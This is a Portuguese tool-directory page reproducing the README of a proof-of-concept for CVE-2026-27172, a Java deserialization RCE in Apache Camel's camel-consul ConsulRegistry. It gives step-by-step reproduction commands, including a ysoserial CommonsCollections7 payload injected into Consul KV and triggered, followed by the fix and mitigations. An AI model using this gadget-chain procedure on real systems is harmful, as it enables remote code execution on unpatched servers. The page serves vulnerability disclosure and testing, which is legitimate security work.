Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-27172 — Reprodutor para CVE-2026-27172: Apache Camel camel-consul ConsulRegistry desserialização Java (RCE) | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-27172
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHuboscerd/cve-2026-27172

CVE-2026-27172

Reprodutor para CVE-2026-27172: Apache Camel camel-consul ConsulRegistry desserialização Java (RCE)

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Reprodutor da Vulnerabilidade de Desserialização do ConsulRegistry do camel-consul (CVE-2026-27172)

Este projeto demonstra uma vulnerabilidade de desserialização Java no componente camel-consul do Apache Camel (ConsulRegistry), rastreada como CVE-2026-27172. É da mesma classe de problema que CVE-2024-22369, CVE-2024-23114 e CVE-2026-25747, e foi negligenciada durante a remediação original desses CVEs.

Aviso: https://camel.apache.org/security/CVE-2026-27172.html

Resumo da Vulnerabilidade

PropriedadeValor
Componentecamel-consul
Classe Afetadaorg.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize)
Métodos VulneráveislookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType()
CWECWE-502: Desserialização de Dados Não Confiáveis
ImpactoExecução Remota de Código (RCE)
Versões AfetadasDe 3.0.0 até antes de 4.14.6, e de 4.15.0 até antes de 4.18.1
Versões Corrigidas4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23029

Detalhes Técnicos

ConsulRegistry usa o armazenamento de chave/valor do Consul como registro (registry) do Camel. Quando um bean é consultado pelo nome, o valor armazenado é decodificado de Base64 e desserializado com um ObjectInputStream bruto e, nas versões afetadas, sem ObjectInputFilter:

root@kitploit:~
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // no filter (affected)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // NO FILTERING!
    }
}

Qualquer objeto armazenado no armazenamento KV do Consul sob uma chave que o Camel posteriormente consulte é desserializado. Um atacante que possa escrever nesse caminho KV pode plantar um payload de cadeia de gadgets que é executado quando ocorre a consulta ao registro.

Pré-requisitos

  • Java 17+
  • Maven 3.8+
  • Um agente Consul em execução (armazenamento KV) — por exemplo, via Docker
  • ysoserial (para geração de payload)

Etapas de Reprodução

Etapa 1: Iniciar o Consul

root@kitploit:~
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

Etapa 2: Compilar e Iniciar a Aplicação

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

Etapa 3: Inicializar a Chave do Registro

root@kitploit:~
curl http://localhost:8080/exploit/init

Etapa 4: Gerar um Payload Malicioso

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ConsulRegistry armazena objetos serializados codificados em Base64, portanto o payload é entregue como Base64.

Etapa 5: Injetar o Payload no Consul KV

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

Etapa 6: Acionar a Desserialização (RCE!)

root@kitploit:~
curl http://localhost:8080/exploit/trigger

lookupByName() lê o valor KV, decodifica-o de Base64 e o desserializa — executando a cadeia de gadgets.

Etapa 7: Verificar a Exploração

root@kitploit:~
ls -la /tmp/pwned

Se o arquivo /tmp/pwned existir, a exploração foi bem-sucedida.

Vetores de Ataque

A vulnerabilidade é acionada sempre que o registro resolve um bean:

  1. Referências a beans — .to("bean:..."), bean(...), .process("...") por nome chamam lookupByName().
  2. Resolução na inicialização — beans resolvidos enquanto as rotas estão sendo construídas.
  3. Consultas por tipo — findByType() / lookupByNameAndType() iteram sobre as entradas KV e as desserializam.

Condições de Exploração

  1. Acesso de escrita ao armazenamento KV do Consul que serve de base ao registro:
    • Um cluster Consul compartilhado ou mal configurado
    • Um token ACL do Consul comprometido/com escopo excessivo
    • Outra vulnerabilidade que forneça uma primitiva de escrita em KV
  2. Uma biblioteca de gadgets no classpath:
    • commons-collections:3.2.1 (gadgets CommonsCollections1-7)
    • Muitas outras (consulte o ysoserial)

Comparação com os CVEs Irmãos

Correção Recomendada

A correção (CAMEL-23029) adiciona um ObjectInputFilter configurável (padrão java.**;org.apache.camel.**;!*) a ConsulRegistryUtils.deserialize e expõe uma opção deserializationFilter para que classes confiáveis possam ser incluídas na lista de permissões:

root@kitploit:~
static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

Mitigação

Até atualizar para uma versão corrigida:

  1. Restrinja o acesso de escrita ao KV do Consul à própria identidade da aplicação Camel (tokens ACL com privilégios mínimos).
  2. Remova bibliotecas de gadgets: atualize ou remova bibliotecas vulneráveis, como commons-collections 3.x.
  3. Segmentação de rede: isole o cluster Consul em uma rede confiável.

Arquivos

root@kitploit:~
CVE-2026-27172/
├── pom.xml                          # Maven configuration (affected camel-consul version)
├── README.md                        # This file
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── ConsulRegistryRoute.java  # Camel route (disabled; shows real usage)
    │   └── ExploitController.java    # REST endpoints for the PoC
    └── resources/
        └── application.properties

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.

Baixar ferramenta
AspectoCassandra (CVE-2024-23114)LevelDB (CVE-2026-25747)Consul (CVE-2026-27172)
Armazenamento subjacenteTabela CassandraArquivo LevelDBArmazenamento KV do Consul
ObjectInputFilter (antes da correção)nenhumnenhumnenhum
CorreçãoLista de permissões do ObjectInputFilterLista de permissões do ObjectInputFilterLista de permissões do ObjectInputFilter
JIRACAMEL-20306CAMEL-22821CAMEL-23029